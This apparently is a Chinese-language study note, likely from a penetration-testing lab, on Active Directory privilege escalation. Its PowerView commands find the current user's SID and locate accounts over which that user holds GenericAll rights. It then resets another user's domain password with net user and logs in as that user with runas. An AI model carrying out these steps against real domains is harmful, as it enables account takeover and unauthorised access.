

【Windows】 【提權】 Get-ObjectAcl 搜尋自己可管理帳號

Get-NetUser 找到自己 sid

```
# 方法一
PS C:\Tools> Get-NetUser -Identity stephanie

logoncount      : 122
badpasswordtime : 9/27/2023 2:06:58 AM
distinguishedname : CN=stephanie,CN=Users,DC=corp,DC=com
objectclass     : {top, person, organizationalPerson, user}
lastlogontimestamp : 12/10/2023 4:47:22 AM
name            : stephanie
objectsid       : S-1-5-21-1987370270-658905905-1781884369-1104
samaccountname  : stephanie

# 方法二
PS C:\tools> Get-NetUser "stephanie" | select cn,objectsid

cn      objectsid
--      -
stephanie S-1-5-21-1987370270-658905905-1781884369-1104
```

Get-ObjectAcl 搜尋可管理帳號

```
Get-ObjectAcl | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | ? {$_.SecurityIdentifier -match 'S-1-5-21-1987370270-658905905-1781884369-1104'} | select ObjectSID
```

```
Get-ObjectAcl | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | ? {$_.SecurityIdentifier -match 'S-1-5-21-1987370270-658905905-1781884369-1104'} | select ObjectSID
```

Convert-SidToName sid 轉換成名稱

```
ObjectSID
-----
S-1-5-21-1987370270-658905905-1781884369-1126
S-1-5-21-1987370270-658905905-1781884369-19601

PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1126
CORP\Management Department
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-19601
CORP\robert
```

修改密碼，轉換身份登入

```
# net user /domain {name} {密碼}
PS C:\Users\stephanie> net user /domain robert A12345
The request will be processed at a domain controller for domain corp.com.
```

```
# 更換身份 執行cmd
# runas /user:{user} cmd
PS C:\Users\stephanie> runas /user:corp\robert cmd
Enter the password for corp\robert:
Attempting to start cmd as user "corp\robert" ...
```

🔄修訂版本 #3

★由 treeman 建立於 3 🏠G🏠 2024 15:28:30

✎由 treeman 更新於 3 🏠G🏠 2024 15:45:23